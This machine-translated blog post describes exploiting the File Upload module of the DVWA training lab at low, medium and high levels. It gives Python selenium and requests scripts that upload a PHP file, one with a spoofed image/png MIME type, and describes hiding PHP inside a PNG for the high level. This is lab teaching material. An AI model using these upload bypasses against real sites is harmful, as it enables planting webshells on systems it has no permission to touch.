当前位置:网站首页>POC——DVWA‘s File Upload
POC——DVWA‘s File Upload
2022-07-19 04:59:00 【wavesky111】
Level——low
Recently I learned something about python Of selenium, Just write one with it low Grade POC Well ~
from selenium.webdriver import Chrome
from selenium.webdriver.support.ui import WebDriverWait
from selenium.webdriver.common.by import By
from selenium.webdriver.support.select import Select
import time
driver = Chrome()
driver.get("http://192.168.117.130/DVWA-1.9/login.php")
WebDriverWait(driver,10).until(lambda d:"Login" in d.title)
driver.find_element(By.XPATH,'//*[@id="content"]/form/fieldset/input[1]').send_keys("admin")
driver.find_element(By.XPATH,'//*[@id="content"]/form/fieldset/input[2]').send_keys("password")
driver.find_element(By.XPATH,'//*[@id="content"]/form/fieldset/p/input').click()
driver.find_element(By.XPATH,'//*[@id="main_menu_padded"]/ul[3]/li[1]').click()
driver.find_element(By.XPATH,'//*[@id="main_body"]/div/form/select').click()
loc = (By.XPATH,'//*[@id="main_body"]/div/form/select')
ele = driver.find_element(*loc)
s = Select(ele)
s.select_by_value("low")
driver.find_element(By.XPATH,'//*[@id="main_body"]/div/form/input[1]').click()
driver.find_element(By.XPATH,'//*[@id="main_menu_padded"]/ul[2]/li[5]').click()
driver.find_element(By.XPATH,'//*[@id="main_body"]/div/div/form/input[2]').send_keys('/path/one.php')
driver.find_element(By.XPATH,'//*[@id="main_body"]/div/div/form/input[3]').click()
response = driver.find_element(By.XPATH,'//*[@id="main_body"]/div/div/pre')
re = 'one.php'
flag=re in str(response.text)
if flag:
print("It looks likely vulnerable")
else:
print("It is strong")
driver.close()Level-Medium
import requests
from requests_toolbelt.multipart.encoder import MultipartEncoder
import browser_cookie3
cookie = browser_cookie3.chrome()
URL = 'http://192.168.117.130/DVWA-1.9/vulnerabilities/upload/'
fl = open("one.php","rb")
m = MultipartEncoder(
fields={'MAX_FILE_SIZE': '100000',
'uploaded': ('one.php',fl,'image/png'),
'Upload': 'Upload'
})
headers = {
"Content-Type": m.content_type
}
response = requests.post(URL, data=m, headers=headers,cookies=cookie)
re = 'one.php'
flag=re in str(response.content)
if flag:
print("It looks likely vulnerable")
else:
print("It is strong")another : I have encountered many problems here before , It takes a long time to deal with these problems alone , Now take a note of :
- Browser here Content-Type yes multipart/form-data, This type is very interesting and characteristic ,post The form of parameter transmission has not changed , Just put “data:vlaue” The form becomes a randomly generated genetic string as a separator , The separator defines various parameters and binary of the file content , So structure post Multiple file uploads are required when requesting (MultipartEncoder) My bag ( There are other ways , For the convenience of the future , This is used here ), Link put ad locum ;
- See a lot of online multipart/form-data Type when uploading files , Are used to token This value , But I didn't find it in my grabbed bag , Check it on the Internet , May be DVWA No definition token This key value , But if it is also authentication ,cookie It also has the same effect ,cookie、session、token Put it differently ad locum ;
- request After requesting data , It's automatic url code
Level-High
Here is one more cmd Next copy one.png /b + one.txt /a two.png Picture steganography process ( because high Level limits the file size ), Then send the new one to two.png Pass in . This involves the following files including , I won't do that here ~
边栏推荐
- MySQL必知必会!!!看这一篇就足够了!!!
- Emqx pressure test tread pit for your reference
- CVE-2021-44228 Log4j 复现及原理
- fastjson、jackjson、gson区别和注意点
- 用FastApi进行WEB开发
- 高等数学笔记:伍月习题选集
- 项目组暑假总结02
- Conception finale: système distribué de gestion de la santé pour la prévention des épidémies hautement simultanées basé sur vue + socket + redis
- 消息转换器(json)
- Shallow chat link tracking
猜你喜欢

3. Restclient query document

ThreadLocal线程安全示例及其原理

UE-插件 ElectronicNodes 5.0.0/4.23-4.27
![[FPGA tutorial case 27] realize dual port RAM ping-pong structure through Verilog](/img/64/211c5a6d6e0a8701136fa969d6d9e4.png)
[FPGA tutorial case 27] realize dual port RAM ping-pong structure through Verilog

OLTP 负载性能优化实践

One article to understand Zipkin

itext修改pdf文字

DSL查询文档

Project team summer vacation summary 02
[email protected] : `node install. Problems of js`"/>solve [email protected] : `node install. Problems of js`
随机推荐
CVE-2020-10199 Nexus Repository Manager3远程命令执行漏洞复现
中台的订单系统
脱敏字段举例
String string special interception processing according to symbols
Add SSL certificate for load balancing
根据日期重新排列数据js
[FPGA tutorial case 26] realize the basic operation of decimals through Verilog in FPGA
NoSQL概述
.sh脚本编写
用FastApi进行WEB开发
关于当前响应已经调用了方法getOutputStream()
TopicExchange交换机简单使用。
Blessing for the elderly popular short video wechat applet source code download support traffic master
Database and the future of open source
ES文档操作
mysql优化
UE plug-in electronicnodes 5.0.0/4.23-4.27
浅聊全局过滤器
shardingsphere的核心概念和快速实战
shardingsphere内核原理